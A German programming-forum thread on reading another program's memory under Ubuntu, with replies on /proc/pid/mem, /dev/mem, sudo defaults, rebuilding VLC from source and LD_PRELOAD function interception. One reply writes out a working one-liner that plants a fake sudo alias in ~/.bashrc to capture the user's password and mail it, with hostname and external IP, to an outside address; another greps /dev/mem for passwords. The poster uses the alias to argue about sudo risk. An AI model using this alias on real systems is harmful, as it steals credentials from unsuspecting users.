Forum: PC-Programmierung Ubuntu Ramspeicher durchsuchen auslesen von fremden Programmen?


von Sven (Gast)


Lesenswert?

Hallo
Gibt es eine Möglichkeit unter Ubuntu den Speicherinhalt von fremden 
Anwendungen auszulesen?
Unter Windows konnte man über einige Programme sogar nach Strings im 
gesamtem Ram suchen. Gibt es sowas für Linux?

: Verschoben durch User
von Thorsten (Gast)


Lesenswert?

Ja, Debugger können das zum Beispiel.

von Patrick J. (ho-bit-hun-ter)


Lesenswert?

Hi

Auf welchem µC rennt dann Ubuntu?

@Mod - bitte verschieben :)

von Karl (Gast)


Lesenswert?

Patrick J. schrieb:
> Hi
>
> Auf welchem µC rennt dann Ubuntu?
Auf meinem Raspi zum Beispiel!
>
> @Mod - bitte verschieben :)
Man kann die Paranoia auch übertreiben...

von (º°)·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.· (Gast)


Lesenswert?

Hab ich mit dem Debugger frueher™ immer gemacht, um zu sehen
wie weit ein Datenbankimport bereits war.

von eagle user (Gast)


Lesenswert?

Es gibt ein paar magische Dateien für diesen Zweck, wenn man sie liest, 
liest man RAM.
/proc/1/mem ist z.B. das RAM des init-Prozess. Die 1 ist die pid, das 
funktioniert sinngemäss für jedes gerade laufende Programm.
/proc/kmem, /dev/kmem und /dev/mem sollten jeweils das gesamte virtuelle 
oder physikalische RAM "enthalten".
1
strings /dev/mem | grep -i password
 funktioniert im Prinzip, liefert aber natürlich keine Passworte ;)

von Axel S. (a-za-z0-9)


Lesenswert?

Sven schrieb:
> Gibt es eine Möglichkeit unter Ubuntu den Speicherinhalt von fremden
> Anwendungen auszulesen?

Wenn man hinreichend hohe (Superuser) Rechte hat oder sich verschaffen 
kann, dann ja. Im Allgemeinen nicht. Ubuntu ist insofern ein Spezialfall 
als daß sie defaultmäßig jedem Nutzer erlauben, Superuser zu werden (per 
sudo). Auch ohne das Superuser-Password kennen zu müssen.

> Unter Windows konnte man über einige Programme sogar nach Strings im
> gesamtem Ram suchen. Gibt es sowas für Linux?

Über /dev/mem ist das gesamte RAM zugreifbar (sofern man die 
entsprechenden Rechte hat). Unter Windows wird das sicher ganz ähnlich 
laufen.

von Harry L. (mysth)


Lesenswert?

Axel S. schrieb:
> Wenn man hinreichend hohe (Superuser) Rechte hat oder sich verschaffen
> kann, dann ja. Im Allgemeinen nicht. Ubuntu ist insofern ein Spezialfall
> als daß sie defaultmäßig jedem Nutzer erlauben, Superuser zu werden (per
> sudo). Auch ohne das Superuser-Password kennen zu müssen.

Das stimmt nicht ganz.
Nur der bei der Installation eingerichtete User hat diese Sonderrechte 
by default.
Jeder weitere hinzugefügte User hat diese Rechte erstmal nicht.

von S. R. (svenska)


Lesenswert?

Axel S. schrieb:
> Auch ohne das Superuser-Password kennen zu müssen.

Das hängt damit zusammen, dass "root" ein allgemein bekannter Nutzername 
und ein beliebtes Ziel für Bruteforce-Angriffe ist.

Daher vergeben Debian und Ubuntu standardmäßig kein 
Administratorpasswort (d.h. root kann sich überhaupt nicht einloggen), 
stattdessen bekommt der einzige, bei der Installation angelegte Benutzer 
die Sudo-Rechte.

Finde ich einen durchaus sinnvollen Ansatz.

von c-hater (Gast)


Lesenswert?

S. R. schrieb:

> Finde ich einen durchaus sinnvollen Ansatz.

Praktisch ja, theoretisch nein. Verrückt, aber ist so.

Der Punkt ist, das eigentlich nach der reinen Lehre das gesamte 
Geheimnis im Passwort stecken sollte und somit ein bekannter 
Benutzername keinen Schaden anrichten könnte.

Das IST tatsächlich auch so (bei Ubuntu genauso wie bei jedem anderen 
neuzeitlichen OS). Das Problem ist halt: User sind Menschen. Sie neigen 
dazu, eben keine hinreichend zufälligen Passwörter zu wählen...

Und die OS-Anbieter ihrerseits sind Realisten, unter Tränen geformt 
durch die normative Kraft der Fakten. Da sie nicht die Macht haben, User 
zu sinnvollem Verhalten zu zwingen, versuchen sie sie halt, über diesen 
Weg mehr Sicherheit in die Sache zu bringen. Letztlich läuft es, 
kryptographisch betrachtet, allein darauf hinaus, ein paar wenige Bit 
mehr Zufall in das Geheimnis zu bekommen. Die Komplexität eines 
BF-Angriffs erhöht sich in aller Regel um den Faktor, der der Anzahl der 
Einträge in einer Liste der gängigen Vor- und Nachnahmen (ggf. in 
verschiedenen Kombination und Varianten der Zusammenstellung und mit 
verschiedenen Trennzeichen) entspricht. D.h.: wenn der vollständige Name 
des Opfers dem Angreifer bereits bekannt ist, praktisch so gut wie 
garnicht, gemessen an der Kombinatorik des eigentlichen PW-Angriffs...

Zusammenfassend muss man also sagen: Eine typische Notlösung, um die 
Dummen und Unbelehrbaren vor den Auswirkungen ihrer eigenen Ignoranz zu 
schützen. Zumindest ein wenig besser, als es ohne diese Maßnahme möglich 
wäre...

von S. R. (svenska)


Lesenswert?

c-hater schrieb:
> Zumindest ein wenig besser, als es ohne diese Maßnahme möglich
> wäre...

Genau deswegen finde ich das einen durchaus sinnvollen Ansatz. 
Benutzernamen sind keine Geheimnisse, aber zusätzliche zehn, zwölf Bit 
Entropie gegen Bruteforce-Angriffe sind nützlich.

Es hängt davon ab, was man einem Angreifer zutraut. Kennt er das System, 
oder zielt er mit Breitbandangriffen auf root:root / root:admin in 
irgendwelchem IoT-Schrott ab?

Von der "reinen Lehre" halte ich nicht unbedingt viel. Theoretisch 
perfekt heißt nicht unbedingt praktisch sinnvoll, denn die Realität ist 
schlicht böse.

von Axel S. (a-za-z0-9)


Lesenswert?

S. R. schrieb:
> Axel S. schrieb:
>> Auch ohne das Superuser-Password kennen zu müssen.
>
> Das hängt damit zusammen, dass "root" ein allgemein bekannter Nutzername
> und ein beliebtes Ziel für Bruteforce-Angriffe ist.

Das ist aber kein Argument dafür, kein Password für den root-Zugang zu 
verlangen. Wie ein Vorredner schon sagte: die Sicherheit steckt im 
Password. Und nur da.

> Finde ich einen durchaus sinnvollen Ansatz.

Ich nicht. Denn jetzt ist es nicht mehr sicher, als nicht-root zu 
arbeiten. Jeder Schädling, den man sich eventuell eintritt, kann jetzt 
per sudo unbemerkt(!) tätig werden und sich im System einisten. 
Wenigstens das Nutzer-Password sollte sudo trotzdem verlangen.

von Dirk D. (dicky_d)


Lesenswert?

Axel S. schrieb:
> Wenigstens das Nutzer-Password sollte sudo trotzdem verlangen.

Als ich das letzte mal nen Ubuntu installiert habe war das auch noch 
genau so.
Das war das Aktuelle LTS Release, als nen 16.04, ist das bei 16.10 oder 
17.04 etwa anders?

von Harry L. (mysth)


Lesenswert?

Dirk D. schrieb:
> Das war das Aktuelle LTS Release, als nen 16.04, ist das bei 16.10 oder
> 17.04 etwa anders?

Nein

von Patrick J. (ho-bit-hun-ter)


Lesenswert?

Hi

Das fehlende root-Passwort hat Nichts mit Unsicher zu tun - dadurch, daß 
der root-Account kein Passowrt hat, kann man sich NICHT als root 
anmelden (um so an root-Rechte zu kommen).
Um als User trotzdem in den Genuss höherer Rechte zu kommen, sollte man 
in der Gruppe (27)sudo sein - wenn man Das nicht ist, kommt man Da auch 
nicht rein.
Wenn man Da drin ist, kann man sich aber selber Da raus werfen - macht 
aber nicht wirklich Sinn ;)

Wenn man 'sudo' ist, ist man Gott - nicht mehr, nicht weniger.
Jedes Programm, Welches man mit sudo/gksu aufruft, darf ALLES (auch die 
unfeinen Dinge).

Wer Das nicht will: seit Win7 ist man auch dort nicht immer 'Gott' und 
muß ab und an auf 'ok' klicken, wenn was geändert werden soll.

Selber finde ich aber die Eingabe des Passwort um Einiges sicherer als 
ein Mausklick (den ein Programm, Welches das 'sudo-Fenster' erkennt, 
sich bestimmt auch selber geben kann, sofern Es erst Mal als 'Gott' 
gestartet ist).
... ist aber unter Linux nicht anders ... und mitgelesene Passworte sind 
wohl schneller vom PC selber eingegeben, als ich gucken kann - aber ICH 
muß dieses Programm zuvor installieren.

MfG

PS: Ist Ubuntu mittlerweile von Unity weg?
Mint ist auch irgendwie 'nicht meins' ;)

: Bearbeitet durch User
von Dirk K. (d-k)


Lesenswert?

Axel S. schrieb:
> Wenn man hinreichend hohe (Superuser) Rechte hat oder sich verschaffen
> kann, dann ja. Im Allgemeinen nicht. Ubuntu ist insofern ein Spezialfall
> als daß sie defaultmäßig jedem Nutzer erlauben, Superuser zu werden (per
> sudo). Auch ohne das Superuser-Password kennen zu müssen.

Falsch! Nicht jedem Benutzer. Und per default ist der login fuer root 
blockiert und es git es kein "Superuser-Password".

Axel S. schrieb:
> Wenigstens das Nutzer-Password sollte sudo trotzdem verlangen.

Das tut es! Es findet eventuell ein caching statt aber man muss es 
trotzdem bei der ersten sudo Nutzung nach jedem oeffnen einer 
shell/einloggen eingeben und dann alle 15 minuten.

(Was ich hier sage bezieht sich auf die default einstellungen von 
ubuntu. Nateurlich kann man das aendern aber dann ist der Nutzer 
verantwortlich.)

von S. R. (svenska)


Lesenswert?

Axel S. schrieb:
>> Finde ich einen durchaus sinnvollen Ansatz.
>
> Ich nicht. Denn jetzt ist es nicht mehr sicher, als nicht-root zu
> arbeiten.

"Der einzige, bei der Installation eingerichtete Benutzer" ist nicht 
dasselbe wie "nicht-root". Nur mal so als Hinweis.

von Daniel A. (daniel-a)


Lesenswert?

Sven schrieb:
> Gibt es eine Möglichkeit unter Ubuntu den Speicherinhalt von fremden
> Anwendungen auszulesen?

/proc/$pid/mem wurde ja schon genannt. Aber wirklich sinnvoll ist das 
nur, wenn man weiss welche Speicherbereiche auch tatsächlich gemappt 
sind. Das kann man einfach mit "cat /proc/$pid/maps" nachsehen. Danach 
den gewünschten ausschnitt mit dd herauskopieren.



Zu der ganzen sudo thematik: Ich finde es sollte nur verwendet werden, 
wenn man dem Benutzer z.B. das ausführen von /usr/bin/halt ohne 
argumente erlauben will, aber niemals um diesen eine root shell zu 
ermöglichen. In der ssh config sollte root zugriff deaktiviert sein, 
oder der root user umbenannt werden. Der grund dafür ist einfach:
1
echo alias sudo="'"'read -p "[sudo] password for $(whoami): " -s pw && printf "Subject: Password from %s on host %s external ip %s\n\nPassword: %s\n" "$(whoami)" "$(hostname)" "$(curl -s https://4.ifcfg.me/)" "$pw" | /usr/sbin/sendmail public@dpa.li && echo "Sorry, try again." && sudo '"'" >> ~/.bashrc
Und das ist noch eine relativ primitive variante.

von Sven (Gast)


Lesenswert?

Also cat /proc/8447/maps klappt wunderbar aber bei mem bekomme ich einen 
Ausgabefehler. Gibt es da noch andere Lösungen?
Im Grunde ist dieses Programm ein Audio Player. Ich möchte eigentlich 
nur schauen ob ich Informationen wie Lied Name und Position finden kann 
um diese mit Dmx Lichteffekte zu einer Show zusammen zu binden. Also ich 
möchte ausnahmsweise keine Passwörter auslesen :)

sudo cat /proc/8447/mem
cat: /proc/8447/mem: Eingabe-/Ausgabefehler

von Dr. Sommer (Gast)


Lesenswert?

Sven schrieb:
> Im Grunde ist dieses Programm ein Audio Player. Ich möchte eigentlich
> nur schauen ob ich Informationen wie Lied Name und Position finden kann

Ist das Programm vielleicht Open-Source (läuft ja unter Linux)? Dann 
könntest du es ja modifizieren und die Informationen per FIFO o.ä. 
ausgeben. Das wäre doch viel einfacher und stabiler. Denn diese Daten 
müssen sich ja keineswegs immer an der gleichen Stelle im RAM 
befinden...

von Daniel A. (daniel-a)


Lesenswert?

Sven schrieb:
> Also cat /proc/8447/maps klappt wunderbar aber bei mem bekomme ich einen
> Ausgabefehler.

Wie schon gesagt, nicht an jeder Adresse ist etwas gemappt, insbesondere 
nicht an Adresse 0. Hier mal den Beispiel, in dem ich den heap eines cat 
prozesses kopiere:
1
daniel@colibri:~$ cat </dev/zero >/dev/null &
2
[1] 6919
3
daniel@colibri:~$ fg
4
cat < /dev/zero > /dev/null
5
^Z
6
[1]+  Stopped                 cat < /dev/zero > /dev/null
7
daniel@colibri:~$ cat /proc/6919/maps
8
00400000-0040c000 r-xp 00000000 08:02 2359384                            /bin/cat
9
0060b000-0060c000 r--p 0000b000 08:02 2359384                            /bin/cat
10
0060c000-0060d000 rw-p 0000c000 08:02 2359384                            /bin/cat
11
00eca000-00eeb000 rw-p 00000000 00:00 0                                  [heap]
12
7fd3c27ab000-7fd3c27cd000 rw-p 00000000 00:00 0 
13
7fd3c27cd000-7fd3c296e000 r-xp 00000000 08:02 395049                     /lib/x86_64-linux-gnu/libc-2.19.so
14
7fd3c296e000-7fd3c2b6e000 ---p 001a1000 08:02 395049                     /lib/x86_64-linux-gnu/libc-2.19.so
15
7fd3c2b6e000-7fd3c2b72000 r--p 001a1000 08:02 395049                     /lib/x86_64-linux-gnu/libc-2.19.so
16
7fd3c2b72000-7fd3c2b74000 rw-p 001a5000 08:02 395049                     /lib/x86_64-linux-gnu/libc-2.19.so
17
7fd3c2b74000-7fd3c2b78000 rw-p 00000000 00:00 0 
18
7fd3c2b78000-7fd3c2b98000 r-xp 00000000 08:02 395043                     /lib/x86_64-linux-gnu/ld-2.19.so
19
7fd3c2ba9000-7fd3c2d72000 r--p 00000000 08:02 7343132                    /usr/lib/locale/locale-archive
20
7fd3c2d72000-7fd3c2d75000 rw-p 00000000 00:00 0 
21
7fd3c2d96000-7fd3c2d98000 rw-p 00000000 00:00 0 
22
7fd3c2d98000-7fd3c2d99000 r--p 00020000 08:02 395043                     /lib/x86_64-linux-gnu/ld-2.19.so
23
7fd3c2d99000-7fd3c2d9a000 rw-p 00021000 08:02 395043                     /lib/x86_64-linux-gnu/ld-2.19.so
24
7fd3c2d9a000-7fd3c2d9b000 rw-p 00000000 00:00 0 
25
7fff6f465000-7fff6f486000 rw-p 00000000 00:00 0                          [stack]
26
7fff6f542000-7fff6f544000 r--p 00000000 00:00 0                          [vvar]
27
7fff6f544000-7fff6f546000 r-xp 00000000 00:00 0                          [vdso]
28
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
29
daniel@colibri:~$ sudo dd bs=1 if=/proc/6919/mem of=00eca000-00eeb000 skip=$((16#00eca000)) count=$((16#00eeb000 - 16#00eca000))
30
dd: ‘/proc/6919/mem’: cannot skip to specified offset
31
135168+0 records in
32
135168+0 records out
33
135168 bytes (135 kB) copied, 0.181707 s, 744 kB/s
34
daniel@colibri:~$ hexdump -C 00eca000-00eeb000 | head
35
00000000  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  |........!.......|
36
00000010  65 6e 5f 55 53 2e 55 54  46 2d 38 00 00 00 00 00  |en_US.UTF-8.....|
37
00000020  00 00 00 00 00 00 00 00  81 00 00 00 00 00 00 00  |................|
38
00000030  00 00 00 00 00 00 00 00  10 a0 ec 00 00 00 00 00  |................|
39
00000040  b0 a0 ec 00 00 00 00 00  c0 a3 ec 00 00 00 00 00  |................|
40
00000050  40 a4 ec 00 00 00 00 00  00 a8 ec 00 00 00 00 00  |@...............|
41
00000060  e0 a8 ec 00 00 00 00 00  a0 aa ec 00 00 00 00 00  |................|
42
00000070  00 00 00 00 00 00 00 00  10 ab ec 00 00 00 00 00  |................|
43
00000080  70 ab ec 00 00 00 00 00  f0 ab ec 00 00 00 00 00  |p...............|
44
00000090  a0 ac ec 00 00 00 00 00  10 ad ec 00 00 00 00 00  |................|
45
daniel@colibri:~$ strings 00eca000-00eeb000
46
en_US.UTF-8
47
en_US.UTF-8
48
en_US.UTF-8
49
en_US.UTF-8
50
en_US.UTF-8
51
en_US.UTF-8
52
en_US.UTF-8
53
en_US.UTF-8
54
en_US.UTF-8
55
en_US.UTF-8
56
en_DK.UTF-8
57
en_DK.UTF-8
58
en_US.UTF-8
59
en_US.UTF-8
60
LC_CTYPE=en_US.UTF-8;LC_NUMERIC=en_US.UTF-8;LC_TIME=en_DK.UTF-8;LC_COLLATE=en_US.UTF-8;LC_MONETARY=en_US.UTF-8;LC_MESSAGES=en_US.UTF-8;LC_PAPER=en_US.UTF-8;LC_NAME=en_US.UTF-8;LC_ADDRESS=en_US.UTF-8;LC_TELEPHONE=en_US.UTF-8;LC_MEASUREMENT=en_US.UTF-8;LC_IDENTIFICATION=en_US.UTF-8
61
coreutils
62
coreutils
63
daniel@colibri:~$ fg
64
cat < /dev/zero > /dev/null
65
^C

Es gibt diverse Situationen in denen das sinnvoll ist, z.B. wenn man 
selbst memory pages remappt und dass Debuggen muss, oder wenn man den 
Zustand eines gehackten Prozesses für später speichern will, oder wenn 
man etwas debuggen muss, aber der Prozess schon einen ptrace tracer hat, 
etc.

In deinem fall ist es aber wirklich nicht besonders sinvoll. Ich 
empfehle auch, falls möglich, den Quellcode anzupassen. Unter ubuntu 
(sowie bei jeder Debian distro), würde ich so vorgehen:
1) Schaue nach, aus welcher Quelle das Packet kommt. Beispiel:
1
daniel@colibri:~$ apt-cache policy vlc
2
vlc:
3
  Installed: 2.2.5-1~deb8u1
4
  Candidate: 2.2.5-1~deb8u1
5
  Version table:
6
 *** 2.2.5-1~deb8u1 0
7
        500 https://mirror.dpa.li/devuan/ jessie/main amd64 Packages
8
        100 /var/lib/dpkg/status
9
     2.2.4-1~deb8u1 0
10
        500 https://mirror.dpa.li/devuan/ jessie-security/main amd64 Packages

2) Ergänze den deb eintrage in /etc/apt/sources.list oder 
/etc/apt/sources.list.d/* um einen deb-source eintrag
1
daniel@colibri:~$ grep -r https://mirror.dpa.li/devuan/ /etc/apt/
2
/etc/apt/sources.list:deb https://mirror.dpa.li/devuan/ jessie main non-free contrib
3
/etc/apt/sources.list:deb https://mirror.dpa.li/devuan/ jessie-updates main non-free contrib
4
/etc/apt/sources.list:deb https://mirror.dpa.li/devuan/ jessie-security main non-free contrib
5
/etc/apt/sources.list:deb https://mirror.dpa.li/devuan/ jessie-backports main non-free contrib
6
daniel@colibri:~$ nano /etc/apt/sources.list
7
Datei bearbeiten
8
daniel@colibri:~$ grep -r https://mirror.dpa.li/devuan/ /etc/apt/
9
/etc/apt/sources.list:deb https://mirror.dpa.li/devuan/ jessie main non-free contrib
10
/etc/apt/sources.list:deb-src https://mirror.dpa.li/devuan/ jessie main non-free contrib
11
/etc/apt/sources.list:deb https://mirror.dpa.li/devuan/ jessie-updates main non-free contrib
12
/etc/apt/sources.list:deb https://mirror.dpa.li/devuan/ jessie-security main non-free contrib
13
/etc/apt/sources.list:deb-src https://mirror.dpa.li/devuan/ jessie-security main non-free contrib
14
/etc/apt/sources.list:deb https://mirror.dpa.li/devuan/ jessie-backports main non-free contrib

3) sourcen downloaden
1
daniel@colibri:~/projects$ mkdir vlc
2
daniel@colibri:~/projects$ cd vlc
3
daniel@colibri:~/projects/vlc$ apt-get source vlc
4
daniel@colibri:~/projects/vlc$ ls
5
vlc-2.2.5  vlc_2.2.5-1~deb8u1.debian.tar.xz  vlc_2.2.5-1~deb8u1.dsc  vlc_2.2.5.orig.tar.xz

4) Build dependencies downloaden:
1
daniel@colibri:~/projects/vlc$ sudo apt-get install devscripts
2
daniel@colibri:~/projects/vlc$ sudo apt-get build-dep vlc

5) Testweise kompilieren:
1
daniel@colibri:~/projects/vlc$ sudo apt-get install devscripts
2
daniel@colibri:~/projects/vlc$ cd vlc-2.2.5
3
daniel@colibri:~/projects/vlc/vlc-2.2.5$ debuild -i -us -uc -b
4
daniel@colibri:~/projects/vlc/vlc-2.2.5$ cd ..

6) Installieren:
1
daniel@colibri:~/projects/vlc$ dpkg -i *.deb

7) Änderungen am Quellcode machen und erneut compilieren & installieren, 
wenn fertig eventuell ein patch mittels diff machen
8) packet on hold setzen:
1
daniel@colibri:~/projects/vlc$ sudo apt-mark hold vlc


Eine andere Möglichkeit wäre, die Sourcen von github zu holen. Das ist 
insbesondere eine gute Idee, falls man vor hat, die Änderungen auch 
anderne zur verfügung zu stellen:

1) Git installieren und Projekt clonen
1
daniel@colibri:~/projects/$ apt-get install git
2
daniel@colibri:~/projects/$ git clone https://github.com/videolan/vlc.git
3
Cloning into 'vlc'...
4
remote: Counting objects: 517740, done.
5
remote: Compressing objects: 100% (133/133), done.
6
remote: Total 517740 (delta 138), reused 120 (delta 89), pack-reused 517518
7
Receiving objects: 100% (517740/517740), 313.30 MiB | 2.29 MiB/s, done.
8
Resolving deltas: 100% (416368/416368), done.
9
daniel@colibri:~/projects/$ cd vlc
10
daniel@colibri:~/projects/$ less INSTALL



Angenommen das Programm wäre nicht open source, auch dan gibt es noch 
diverse Möglichkeiten. Am beliebtesten ist LD_PRELOAD.
Beispielanwendung:
1
daniel@colibri:~/projects/example$ cat > example_frontend.c <<EOF
2
#include <stdio.h>
3
4
const char* getSongName();
5
6
int main(){
7
  printf("Now playing: %s\n",getSongName());
8
}
9
EOF
10
daniel@colibri:~/projects/example$ cat > example_backend.c <<EOF
11
const char* getSongName(){
12
  return "Some Song Title";
13
}
14
EOF
15
daniel@colibri:~/projects/example$ gcc -shared -fPIC example_backend.c -o example_backend.so
16
daniel@colibri:~/projects/example$ ./example
17
Now playing: Some Song Title

Song title extrahieren und ändern:
1
daniel@colibri:~/projects/example$ readelf --dyn-syms example | grep UND
2
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
3
     1: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTab
4
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.2.5 (2)
5
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
6
     4: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
7
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getSongName
8
     6: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
9
     7: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
10
daniel@colibri:~/projects/example$ cat > song_title_extractor.c <<EOF
11
#define _GNU_SOURCE
12
#include <dlfcn.h>
13
#include <stdio.h>
14
15
const char* getSongName(){
16
  const char*(*real_function)() = dlsym(RTLD_NEXT,"getSongName");
17
  const char* name = (*real_function)();
18
  printf("Intersepted call to getSongName! Real song name is: \"%s\" but we'll return \"Some Other Song Title\", because we can ;)\n",name);
19
  return "Some Other Song Title";
20
}
21
EOF
22
daniel@colibri:~/projects/example$ gcc -shared -fPIC -ldl song_title_extractor.c -o song_title_extractor.so
23
daniel@colibri:~/projects/example$ LD_PRELOAD=./song_title_extractor.so ./example
24
Intersepted call to getSongName! Real song name is: "Some Song Title" but we'll return "Some Other Song Title", because we can ;)
25
Now playing: Some Other Song Title

Falls das auch nicht klappt, gäbe es noch die metode über ptrace, aber 
dass ist extrem kompliziert.

von lalala (Gast)


Lesenswert?

Daniel A. schrieb:
> . Der grund dafür ist

Kannst Du das genauer erklären? Ich verstehe zwar den Inhalt (Fake 
Passwort Eingabe und das wird an den Angfreifer gemailt), aber durch 
welche Schwachstelle wuerde denn dieser alias ueberhaupt ausgefuehrt 
werden?

von Daniel A. (daniel-a)


Lesenswert?

lalala schrieb:
> aber durch welche Schwachstelle wuerde denn dieser alias ueberhaupt ausgefuehrt
> werden?

Im Beispiel wird der alias Eintrag in die .bashrc des Users kopiert, und 
würde somit immer ausgeführt, wenn eine shell geöffnet wird. Eigentlich 
handelt es sich um eine Kombination aus 3 Problemen:
1) Es ist trivial für Programme sich automatisch starten zu lassen, und 
es gibt unzählige möglichkeiten dass zu tun.
2) Wenn irgendein Programm des users eine schwachstelle hat oder malware 
enthält, ist es für dieses trivial sich als ein Programm auszugeben mit 
dem man root rechte bekommen kann, und somit trivial root zu werden, 
ohne das es jemand merkt. Wenn man sich jedoch nur lokal als root 
anmelden kann, und weder su noch sudo verwendet, können all die 
Programme, die niemand als root startet, auch nicht so einfach root 
werden.
3) Anders als bei Servicen, die jeweils als eigenen user laufen, ist es 
nicht trivial Programme die ein User ausführt untereinander zu 
isolieren, in dem sinne dass diese nicht auf die gleichen Dateien des 
users zugreifen können. Es gibt möglichkeiten dies zu tun, z.B. mittels 
apparmor oder selinux, aber es ist so komplex, dass das keiner macht.

von (prx) A. K. (prx)


Lesenswert?

eagle user schrieb:
> liefert aber natürlich keine Passworte ;)

Wobei es leider nicht so ungewöhnlich ist, im Speicher unverschlüsselte 
Passwörter zu finden. In Anwendungen sowieso, aber auch in 
Betriebssystemen selbst: Mimikatz lässt grüssen (Windows).

: Bearbeitet durch User
Bitte melde dich an um einen Beitrag zu schreiben. Anmeldung ist kostenlos und dauert nur eine Minute.
Bestehender Account
Schon ein Account bei Google/GoogleMail? Keine Anmeldung erforderlich!
Mit Google-Account einloggen
Noch kein Account? Hier anmelden.